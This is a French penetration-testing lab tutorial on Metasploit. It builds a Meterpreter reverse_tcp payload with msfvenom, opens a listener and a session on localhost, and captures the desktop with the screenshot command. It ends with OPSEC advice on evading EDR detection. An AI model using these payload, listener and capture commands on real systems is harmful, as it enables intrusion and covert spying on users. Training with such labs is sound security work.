Introduction
Meterpreter est une charge utile avancée et dynamiquement extensible qui utilise des stagers d'injection de DLL en mémoire et est étendue sur le réseau à l'exécution. C'est un composant central du Metasploit Framework et il est utilisé pour les activités post-exploitation sur un système compromis. L'une de ses nombreuses fonctionnalités puissantes est la capacité d'interagir avec le bureau de la cible.
Dans ce laboratoire, vous apprendrez à utiliser la commande screenshot au sein d'une session Meterpreter. Cette commande permet à un attaquant de capturer une image du bureau actuel de la cible, fournissant ainsi des informations précieuses sur les activités de l'utilisateur, les applications ouvertes et les informations sensibles qui pourraient être visibles à l'écran.
Établir une session Meterpreter sur une cible graphique
Dans cette étape, vous simulerez un cycle d'attaque complet sur une seule machine. Vous utiliserez msfvenom pour créer une charge utile, msfconsole pour configurer un écouteur, puis exécuterez la charge utile pour établir une session Meterpreter avec votre propre machine. C'est une méthode sûre et courante pour pratiquer les techniques de test d'intrusion.
Tout d'abord, ouvrez un terminal et utilisez msfvenom pour générer une charge utile Meterpreter pour Linux. Cette commande crée un fichier exécutable qui, une fois exécuté, se connectera à notre écouteur.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
-p: Spécifie la charge utile à utiliser.LHOST=127.0.0.1: L'adresse IP de "l'hôte d'écoute" (listening host). Nous utilisons127.0.0.1car notre écouteur sera sur la même machine.LPORT=4444: Le port de retour.-f elf: Le format de sortie, qui est un exécutable pour Linux.-o: Le nom du fichier de sortie.
Ensuite, rendez le payload généré exécutable :
chmod +x ~/project/payload.elf
Maintenant, vous devez configurer l'écouteur pour intercepter la connexion du payload. Lancez la console Metasploit Framework en mode silencieux :
msfconsole -q
Dans msfconsole, configurez le multi/handler pour écouter la connexion entrante. Tapez les commandes suivantes une par une :
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Maintenant, lancez l'écouteur en tant que tâche d'arrière-plan afin de pouvoir continuer à utiliser la console :
exploit -j
Vous devriez voir un message indiquant que le gestionnaire a démarré. Maintenant, vous devez exécuter le payload. Ouvrez un nouvel onglet de terminal, un deuxième, en cliquant sur l'icône + dans la fenêtre du terminal. Dans ce nouvel onglet, exécutez le payload que vous avez créé :
~/project/payload.elf
Revenez à votre premier onglet de terminal avec msfconsole. Vous devriez voir un message indiquant qu'une session Meterpreter a été ouverte. Pour la vérifier et interagir avec elle, listez les sessions actives :
sessions -l
Vous verrez votre nouvelle session avec un ID, probablement 1. Interagissez avec elle en utilisant son ID :
sessions -i 1
Votre invite devrait changer en meterpreter >, confirmant que vous avez maintenant le contrôle de la session.
Utiliser la commande screenshot pour capturer l'écran
Dans cette étape, vous utiliserez une commande Meterpreter simple mais puissante pour capturer le bureau de la cible. Maintenant que vous avez une session Meterpreter active (indiquée par l'invite meterpreter >), vous pouvez exécuter des commandes sur le système compromis.
La commande screenshot est simple. Elle capture l'intégralité de l'écran de la session de bureau de l'utilisateur interactif sur la machine cible.
Depuis votre invite meterpreter >, tapez simplement la commande et appuyez sur Entrée :
screenshot
Meterpreter prendra un moment pour capturer l'écran et transférer les données de l'image vers votre machine d'attaquant (votre VM LabEx). En cas de succès, il affichera un message indiquant où la capture d'écran a été enregistrée. Le nom du fichier sera une chaîne de caractères aléatoire avec une extension .jpeg.
La sortie ressemblera à ceci :
Screenshot saved to: /home/labex/project/qKxRzYnL.jpeg
Vous avez maintenant capturé avec succès le bureau de la cible. Le fichier image est stocké localement sur votre machine, prêt à être consulté.
Localiser le fichier image enregistré sur votre machine Kali
Dans cette étape, vous localiserez le fichier de capture d'écran qui vient d'être enregistré sur votre machine locale. La commande screenshot enregistre automatiquement l'image capturée dans le répertoire à partir duquel vous avez lancé msfconsole, qui dans notre cas est ~/project.
Tout d'abord, quittez la session Meterpreter pour revenir à l'invite msfconsole. Vous pouvez le faire en tapant exit :
exit
Maintenant, quittez msfconsole pour revenir à votre invite de terminal zsh habituelle :
exit
Vous êtes maintenant de retour dans votre terminal standard. Pour confirmer que le fichier s'y trouve, utilisez la commande ls -l pour lister en détail le contenu de votre répertoire de projet.
ls -l ~/project
Vous devriez voir le fichier .jpeg dans la liste, ainsi que le fichier payload.elf que vous avez créé précédemment. La sortie ressemblera à ceci, bien que le nom du fichier JPEG soit différent :
-rwxr-xr-x 1 labex labex 101368 Nov 21 14:30 payload.elf
-rw-r--r-- 1 labex labex 54321 Nov 21 14:35 qKxRzYnL.jpeg
Cela confirme que la capture d'écran a été transférée et enregistrée avec succès sur votre machine.
Visualiser la capture d'écran
Dans cette étape, vous allez visualiser l'image que vous avez capturée. Étant donné que l'environnement LabEx inclut un bureau graphique, vous pouvez utiliser un visualiseur d'images directement depuis la ligne de commande pour voir le contenu de la capture d'écran.
Nous utiliserons ristretto, un visualiseur d'images simple pour l'environnement de bureau Xfce. Pour ouvrir la capture d'écran, vous exécuterez la commande ristretto suivie du chemin d'accès au fichier image.
Vous devez remplacer FILENAME.jpeg par le nom de fichier aléatoire réel de la capture d'écran que vous avez localisée à l'étape précédente. Par exemple, si votre fichier s'appelle qKxRzYnL.jpeg, vous utiliserez ce nom.
Exécutez la commande suivante dans votre terminal, en veillant à utiliser votre nom de fichier réel :
ristretto ~/project/FILENAME.jpeg
Une fenêtre de visualiseur d'images s'ouvrira, affichant la capture d'écran. Comme vous avez exécuté la charge utile sur votre propre machine, la capture d'écran sera celle de votre propre bureau LabEx ! C'est un excellent moyen de confirmer que la commande a fonctionné exactement comme prévu. Vous pouvez fermer la fenêtre du visualiseur d'images lorsque vous avez terminé.
Discuter des préoccupations de sécurité opérationnelle de cette action
Dans cette étape, nous discuterons des implications de sécurité opérationnelle (OPSEC) de l'utilisation de la commande screenshot lors d'un test d'intrusion réel. Bien que ce soit une commande très utile, elle n'est pas sans risques.
1. Création de bruit et déclenchement d'alertes :
La commande screenshot fonctionne en interagissant avec les API graphiques du système d'exploitation cible (comme GDI sous Windows ou X11 sous Linux). Les produits de sécurité avancés tels que les solutions de détection et de réponse au niveau des points d'extrémité (EDR) ou les logiciels antivirus surveillent ces appels d'API. Un processus qui n'interagit normalement pas avec le bureau et qui prend soudainement une capture d'écran est une activité très suspecte qui peut déclencher une alerte et exposer votre présence aux analystes de sécurité.
2. Laisser des preuves : La commande aboutit à la création d'un fichier image sur la machine de l'attaquant. Ce fichier constitue une preuve directe de l'intrusion et des actions spécifiques entreprises. Si votre machine d'attaque était jamais saisie ou compromise, ces données pourraient être utilisées pour comprendre l'étendue de vos activités.
3. Artefacts côté cible : Bien que le fichier image final soit enregistré sur votre machine, l'acte de capturer l'écran peut laisser des artefacts temporaires sur le système cible. Cela pourrait inclure des traces dans la mémoire système ou des journaux générés par les logiciels de sécurité qui ont détecté l'action suspecte. Un enquêteur médico-légal expérimenté pourrait être en mesure de trouver des preuves qu'une capture d'écran a été prise, même sans trouver l'image elle-même.
Lors d'un engagement réel, vous devez utiliser des commandes comme screenshot avec discernement. Il est préférable de l'utiliser lorsque vous avez une grande confiance dans le fait que le système cible ne dispose pas d'une surveillance avancée, ou lorsque le gain potentiel en renseignement l'emporte sur le risque important de détection.
Résumé
Dans ce laboratoire, vous avez acquis une expérience pratique d'une technique fondamentale de post-exploitation. Vous avez appris avec succès comment établir une session Meterpreter et utiliser la commande screenshot pour capturer le bureau d'un système cible.
Vous avez parcouru l'ensemble du processus :
- Génération d'une charge utile avec
msfvenom. - Configuration d'un écouteur avec
msfconsole. - Exécution de la charge utile pour obtenir un shell inversé.
- Interaction avec la session Meterpreter.
- Capture de l'écran et visualisation de l'image résultante.
- Prise en compte des risques de sécurité opérationnelle (OPSEC) impliqués.
Cette compétence est une partie précieuse de la boîte à outils de tout testeur d'intrusion, offrant un moyen direct de recueillir des renseignements visuels à partir d'un hôte compromis. Félicitations pour avoir terminé le laboratoire !


